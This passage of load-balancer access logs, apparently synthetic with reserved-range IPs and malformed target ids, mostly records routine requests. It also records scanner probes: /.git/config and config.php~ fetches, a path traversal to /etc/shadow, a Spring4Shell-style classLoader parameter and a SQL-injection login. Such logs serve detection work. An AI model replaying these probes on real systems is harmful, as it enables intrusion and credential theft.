(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb84-37ecafcce647405b96743c54" "staging-alb.example.com" "-" 9 2024-11-01T00:16:52.976830Z "forward" "-" "-" "182.138.91.226:8080" "404" "-" "-" -https 2024-11-01T00:16:53.804731Z prod-web-alb 3.48.145.3:19528 10.0.141.168:443 0.075934 0.327532 0.037113 404 404 64 12411 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bb85-5f13a930e64841199735617e" "prod-web-alb.example.com" "-" 6 2024-11-01T00:16:53.804731Z "forward" "-" "-" "10.0.141.168:443" "404" "-" "-" -https 2024-11-01T00:16:54.255669Z prod-web-alb 106.73.65.53:26788 10.0.155.55:443 0.045399 0.337500 0.064890 200 200 541 9609 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bb86-d6f93da5bb6c464181323238" "prod-web-alb.example.com" "-" 3 2024-11-01T00:16:54.255669Z "forward" "-" "-" "10.0.155.55:443" "200" "-" "-" -https 2024-11-01T00:16:54.662844Z staging-alb 217.187.233.92:17646 192.252.131.125:443 0.029422 0.174694 0.010864 404 404 540 13364 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb86-d28f7b8bb2a949a49645228d" "staging-alb.example.com" "-" 4 2024-11-01T00:16:54.662844Z "forward" "-" "-" "192.252.131.125:443" "404" "-" "-" -https 2024-11-01T00:16:56.641786Z prod-api-alb 86.51.26.108:35257 10.0.116.2:443 0.036565 0.181830 0.083220 200 200 306 11871 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bb88-f6ccd1fbfe074eb6bec57f4a" "prod-api-alb.example.com" "-" 9 2024-11-01T00:16:56.641786Z "forward" "-" "-" "10.0.116.2:443" "200" "-" "-" -https 2024-11-01T00:16:57.104209Z staging-alb 96.215.198.211:10846 171.161.45.173:80 0.053864 0.724671 0.015779 200 200 893 9912 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb89-32a58e804e484809ad3b7904" "staging-alb.example.com" "-" 8 2024-11-01T00:16:57.104209Z "forward" "-" "-" "171.161.45.173:80" "200" "-" "-" -https 2024-11-01T00:16:57.516165Z prod-api-alb 78.179.233.181:25384 10.0.68.101:443 0.088266 0.109831 0.010884 200 200 286 4946 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bb89-557f78e018b84e90a84059fe" "prod-api-alb.example.com" "-" 10 2024-11-01T00:16:57.516165Z "forward" "-" "-" "10.0.68.101:443" "200" "-" "-" -https 2024-11-01T00:16:57.719824Z prod-web-alb 185.181.55.98:16130 10.0.174.204:443 0.010913 0.208727 0.053056 403 403 767 8373 "POST /.git/config HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bb89-dfd3c5a67d33497282ee93a6" "-" "-" 8 2024-11-01T00:16:57.719824Z "forward" "-" "-" "10.0.174.204:443" "403" "-" "-" -https 2024-11-01T00:16:58.041643Z staging-alb 238.241.235.205:19357 253.206.159.172:443 0.135139 0.428134 0.042057 301 301 62 11561 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb8a-83a0888849844b71af8c6f68" "staging-alb.example.com" "-" 4 2024-11-01T00:16:58.041643Z "forward" "-" "-" "253.206.159.172:443" "301" "-" "-" -https 2024-11-01T00:16:58.372444Z prod-web-alb 48.8.61.123:55668 10.0.224.145:443 0.099545 0.220654 0.068505 302 302 928 11602 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bb8a-2afdaa2a88a545e6999bbe10" "prod-web-alb.example.com" "-" 0 2024-11-01T00:16:58.372444Z "forward" "-" "-" "10.0.224.145:443" "302" "-" "-" -https 2024-11-01T00:16:59.096411Z staging-alb 116.28.24.147:62701 4.114.168.36:80 0.120375 0.356246 0.073762 301 301 739 10780 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb8b-cec06095f74d4077b9389883" "staging-alb.example.com" "-" 8 2024-11-01T00:16:59.096411Z "forward" "-" "-" "4.114.168.36:80" "301" "-" "-" -https 2024-11-01T00:16:59.488938Z prod-web-alb 62.55.126.15:39989 10.0.106.232:443 0.098672 0.495339 0.008460 301 301 950 8182 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bb8b-670f7d14e64c44c498f39d22" "prod-web-alb.example.com" "-" 7 2024-11-01T00:16:59.488938Z "forward" "-" "-" "10.0.106.232:443" "301" "-" "-" -https 2024-11-01T00:17:00.093652Z prod-api-alb 193.27.228.135:41885 10.0.101.113:443 0.081214 0.425393 0.034939 404 404 144 4897 "GET /images/../../../../etc/shadow HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bb8c-ba4fe470978242cea61aedbb" "-" "-" 7 2024-11-01T00:17:00.093652Z "forward" "-" "-" "10.0.101.113:443" "404" "-" "-" -https 2024-11-01T00:17:00.587664Z prod-web-alb 220.200.220.209:33945 10.0.116.141:443 0.055939 0.013923 0.020488 302 302 882 7705 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bb8c-7a5b65a1232544ceb8b2af3c" "prod-web-alb.example.com" "-" 4 2024-11-01T00:17:00.587664Z "forward" "-" "-" "10.0.116.141:443" "302" "-" "-" -https 2024-11-01T00:17:00.740645Z staging-alb 211.95.61.80:30872 143.64.73.105:8080 0.075222 0.543276 0.124621 200 200 54 6725 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb8c-45ee3dc2aacc448995930d96" "staging-alb.example.com" "-" 0 2024-11-01T00:17:00.740645Z "forward" "-" "-" "143.64.73.105:8080" "200" "-" "-" -https 2024-11-01T00:17:00.876979Z prod-web-alb 134.246.252.83:58283 10.0.81.186:443 0.034549 0.362922 0.070292 200 200 561 13907 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bb8c-9c345359b1b14777853b8bb5" "prod-web-alb.example.com" "-" 3 2024-11-01T00:17:00.876979Z "forward" "-" "-" "10.0.81.186:443" "200" "-" "-" -https 2024-11-01T00:17:01.006602Z prod-web-alb 228.218.39.85:62288 10.0.108.47:443 0.086052 0.243941 0.019301 404 404 958 10308 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bb8d-7adeb0b555f04244b2c113f5" "prod-web-alb.example.com" "-" 3 2024-11-01T00:17:01.006602Z "forward" "-" "-" "10.0.108.47:443" "404" "-" "-" -http 2024-11-01T00:17:02.476629Z staging-alb 43.124.67.129:19832 80.200.16.42:80 0.134653 0.710026 0.025667 301 301 360 2676 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb8e-ebea3a4f49f14b18a2530a60" "staging-alb.example.com" "-" 4 2024-11-01T00:17:02.476629Z "forward" "-" "-" "80.200.16.42:80" "301" "-" "-" -https 2024-11-01T00:17:03.923849Z staging-alb 69.22.79.188:32676 91.68.219.165:443 0.001118 0.238356 0.002241 301 301 649 8169 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb8f-524540c4756f4226b57dec66" "staging-alb.example.com" "-" 2 2024-11-01T00:17:03.923849Z "forward" "-" "-" "91.68.219.165:443" "301" "-" "-" -https 2024-11-01T00:17:04.517282Z staging-alb 75.186.142.231:20105 240.138.199.59:8080 0.111367 0.237734 0.091762 302 302 899 14912 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb90-95aea47f89084f7ca8900fc4" "staging-alb.example.com" "-" 4 2024-11-01T00:17:04.517282Z "forward" "-" "-" "240.138.199.59:8080" "302" "-" "-" -https 2024-11-01T00:17:06.282120Z prod-web-alb 21.249.92.122:18189 10.0.165.192:443 0.059721 0.355457 0.034202 200 200 300 6538 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bb92-f1198e53bfec43e183c79d8e" "prod-web-alb.example.com" "-" 2 2024-11-01T00:17:06.282120Z "forward" "-" "-" "10.0.165.192:443" "200" "-" "-" -https 2024-11-01T00:17:07.267022Z prod-web-alb 26.244.5.174:29211 10.0.88.79:443 0.084467 0.320054 0.091060 200 200 958 6604 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bb93-b9316cb42cc6478885cb6ac4" "prod-web-alb.example.com" "-" 1 2024-11-01T00:17:07.267022Z "forward" "-" "-" "10.0.88.79:443" "200" "-" "-" -https 2024-11-01T00:17:09.164905Z staging-alb 45.155.205.139:44519 119.217.166.175:443 0.050956 0.586194 0.056829 403 403 731 12401 "GET /path?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1" "" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb95-1672ab6059c24832b0d02371" "-" "-" 2 2024-11-01T00:17:09.164905Z "forward" "-" "-" "119.217.166.175:443" "403" "-" "-" -https 2024-11-01T00:17:10.144856Z prod-api-alb 195.208.178.84:64446 10.0.39.152:443 0.068872 0.051278 0.032561 404 404 178 2751 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bb96-b359420bdbfc43c6960426e3" "prod-api-alb.example.com" "-" 0 2024-11-01T00:17:10.144856Z "forward" "-" "-" "10.0.39.152:443" "404" "-" "-" -http 2024-11-01T00:17:10.632005Z staging-alb 5.103.191.119:44623 9.249.247.48:8080 0.020474 0.191562 0.130476 200 200 728 11849 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb96-d07a45258d724a70aacc0d6b" "staging-alb.example.com" "-" 9 2024-11-01T00:17:10.632005Z "forward" "-" "-" "9.249.247.48:8080" "200" "-" "-" -https 2024-11-01T00:17:11.136361Z prod-web-alb 96.244.101.80:53111 10.0.249.185:443 0.092120 0.237750 0.048131 200 200 536 4183 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bb97-5945c8ea753c49039f3147ac" "prod-web-alb.example.com" "-" 7 2024-11-01T00:17:11.136361Z "forward" "-" "-" "10.0.249.185:443" "200" "-" "-" -http 2024-11-01T00:17:12.618445Z staging-alb 229.193.105.148:36738 254.40.25.196:80 0.050486 0.595866 0.117454 200 200 304 3160 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb98-98321c1f49c94a55b12b5999" "staging-alb.example.com" "-" 6 2024-11-01T00:17:12.618445Z "forward" "-" "-" "254.40.25.196:80" "200" "-" "-" -https 2024-11-01T00:17:14.029656Z prod-web-alb 67.200.30.203:48382 10.0.103.2:443 0.092107 0.227505 0.040917 200 200 981 14950 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bb9a-e95aa258e9d043aeb243698a" "prod-web-alb.example.com" "-" 1 2024-11-01T00:17:14.029656Z "forward" "-" "-" "10.0.103.2:443" "200" "-" "-" -https 2024-11-01T00:17:15.372278Z prod-api-alb 67.112.90.245:25556 10.0.77.129:443 0.024082 0.002129 0.051593 200 200 598 5643 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bb9b-d611f156040645d389cd8c8d" "prod-api-alb.example.com" "-" 10 2024-11-01T00:17:15.372278Z "forward" "-" "-" "10.0.77.129:443" "200" "-" "-" -https 2024-11-01T00:17:15.746514Z prod-web-alb 238.145.47.144:54218 10.0.64.7:443 0.041425 0.134724 0.074744 200 200 680 5399 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bb9b-e15a3f1cb6d849e0874f6f57" "prod-web-alb.example.com" "-" 10 2024-11-01T00:17:15.746514Z "forward" "-" "-" "10.0.64.7:443" "200" "-" "-" -https 2024-11-01T00:17:17.432474Z prod-api-alb 193.214.163.92:56079 10.0.181.202:443 0.073313 0.374436 0.031520 301 301 261 5086 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bb9d-8df1d9a18b9648f7a870f926" "prod-api-alb.example.com" "-" 6 2024-11-01T00:17:17.432474Z "forward" "-" "-" "10.0.181.202:443" "301" "-" "-" -https 2024-11-01T00:17:17.590985Z prod-api-alb 155.120.7.149:32864 10.0.158.182:443 0.068398 0.231812 0.096421 200 200 257 2160 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bb9d-e7c5814eea0043628ae00266" "prod-api-alb.example.com" "-" 7 2024-11-01T00:17:17.590985Z "forward" "-" "-" "10.0.158.182:443" "200" "-" "-" -https 2024-11-01T00:17:17.897457Z staging-alb 181.75.82.221:39031 28.7.78.96:80 0.147196 0.503738 0.127649 200 200 615 3930 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb9d-6a5338768d5048d584faa3cf" "staging-alb.example.com" "-" 2 2024-11-01T00:17:17.897457Z "forward" "-" "-" "28.7.78.96:80" "200" "-" "-" -https 2024-11-01T00:17:19.206413Z prod-web-alb 255.239.220.157:20496 10.0.147.83:443 0.033011 0.365461 0.039062 200 200 304 2435 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bb9f-ab8ab04231b445c2a8320835" "prod-web-alb.example.com" "-" 4 2024-11-01T00:17:19.206413Z "forward" "-" "-" "10.0.147.83:443" "200" "-" "-" -https 2024-11-01T00:17:21.077444Z staging-alb 174.149.221.161:25628 152.253.44.104:443 0.011148 0.130373 0.088059 301 301 96 3739 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bba1-032a0026a3e948eba898d74e" "staging-alb.example.com" "-" 7 2024-11-01T00:17:21.077444Z "forward" "-" "-" "152.253.44.104:443" "301" "-" "-" -https 2024-11-01T00:17:22.794838Z prod-api-alb 185.181.76.214:44954 10.0.46.215:443 0.040107 0.480945 0.060929 500 500 552 14740 "POST /login?id=1'-- HTTP/1.1" "masscan/1.3.2" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bba2-0066e12216ed4d98b24d0bd9" "-" "-" 10 2024-11-01T00:17:22.794838Z "forward" "-" "-" "10.0.46.215:443" "500" "-" "-" -https 2024-11-01T00:17:23.475311Z prod-web-alb 217.61.141.199:36409 10.0.207.209:443 0.033404 0.244164 0.052239 404 404 207 13512 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bba3-bbf51699d6184d7abd10eb58" "prod-web-alb.example.com" "-" 4 2024-11-01T00:17:23.475311Z "forward" "-" "-" "10.0.207.209:443" "404" "-" "-" -https 2024-11-01T00:17:24.685852Z prod-web-alb 74.116.234.85:61641 10.0.17.27:443 0.035219 0.222441 0.095395 200 200 709 12453 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bba4-bac12900f70d49a9aae2dbce" "prod-web-alb.example.com" "-" 10 2024-11-01T00:17:24.685852Z "forward" "-" "-" "10.0.17.27:443" "200" "-" "-" -https 2024-11-01T00:17:26.632820Z prod-api-alb 196.82.170.186:53620 10.0.244.57:443 0.000352 0.411006 0.034737 200 200 249 2344 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bba6-7de3fba7ded046dbb7a189ea" "prod-api-alb.example.com" "-" 2 2024-11-01T00:17:26.632820Z "forward" "-" "-" "10.0.244.57:443" "200" "-" "-" -https 2024-11-01T00:17:26.903130Z prod-api-alb 90.174.65.195:16068 10.0.132.80:443 0.070368 0.357067 0.025665 200 200 267 9497 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bba6-ec4eb7b9c22142cca78b87fc" "prod-api-alb.example.com" "-" 1 2024-11-01T00:17:26.903130Z "forward" "-" "-" "10.0.132.80:443" "200" "-" "-" -https 2024-11-01T00:17:27.248843Z staging-alb 55.196.185.219:38058 87.106.140.59:443 0.039692 0.662389 0.015947 200 200 549 14693 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bba7-00949fa299ac4bbd911234d5" "staging-alb.example.com" "-" 5 2024-11-01T00:17:27.248843Z "forward" "-" "-" "87.106.140.59:443" "200" "-" "-" -https 2024-11-01T00:17:28.129896Z prod-web-alb 223.4.97.100:56508 10.0.50.88:443 0.084976 0.206133 0.078773 302 302 123 10427 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bba8-65d4d0e229b541aa8fa98d1f" "prod-web-alb.example.com" "-" 6 2024-11-01T00:17:28.129896Z "forward" "-" "-" "10.0.50.88:443" "302" "-" "-" -https 2024-11-01T00:17:28.449954Z prod-web-alb 39.225.253.146:32788 10.0.233.183:443 0.042737 0.199275 0.035783 200 200 298 5192 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bba8-0eb2b25f09034eb4b2a7d942" "prod-web-alb.example.com" "-" 4 2024-11-01T00:17:28.449954Z "forward" "-" "-" "10.0.233.183:443" "200" "-" "-" -https 2024-11-01T00:17:29.399047Z staging-alb 21.66.223.252:35067 159.88.156.241:80 0.143424 0.336258 0.119614 200 200 367 12225 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bba9-425a8c435358497fa0272d27" "staging-alb.example.com" "-" 3 2024-11-01T00:17:29.399047Z "forward" "-" "-" "159.88.156.241:80" "200" "-" "-" -http 2024-11-01T00:17:30.191616Z staging-alb 36.201.111.125:16159 39.233.44.154:443 0.070075 0.628646 0.127390 200 200 571 4130 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bbaa-b3e1c09998544f98bcec66ea" "staging-alb.example.com" "-" 6 2024-11-01T00:17:30.191616Z "forward" "-" "-" "39.233.44.154:443" "200" "-" "-" -http 2024-11-01T00:17:31.807329Z staging-alb 95.131.123.63:59384 10.91.122.113:80 0.071489 0.532608 0.072074 200 200 623 8890 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bbab-a4f429502f5b4b71945c59ca" "staging-alb.example.com" "-" 10 2024-11-01T00:17:31.807329Z "forward" "-" "-" "10.91.122.113:80" "200" "-" "-" -http 2024-11-01T00:17:31.916680Z staging-alb 146.92.20.12:63538 71.245.220.170:443 0.074713 0.470934 0.016572 301 301 668 10394 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bbab-560039f02cf64048960c5d7f" "staging-alb.example.com" "-" 4 2024-11-01T00:17:31.916680Z "forward" "-" "-" "71.245.220.170:443" "301" "-" "-" -https 2024-11-01T00:17:33.374881Z prod-api-alb 185.181.55.98:26106 10.0.114.238:443 0.080585 0.237910 0.035309 401 401 311 9129 "POST /config.php~ HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bbad-c2520fcf0cbc46918ad0a317" "-" "-" 6 2024-11-01T00:17:33.374881Z "forward" "-" "-" "10.0.114.238:443" "401" "-" "-" -https 2024-11-01T00:17:35.268035Z staging-alb 181.24.170.85:39615 176.243.248.77:8080 0.042041 0.458965 0.042621 302 302 823 9659 "GET /web/test 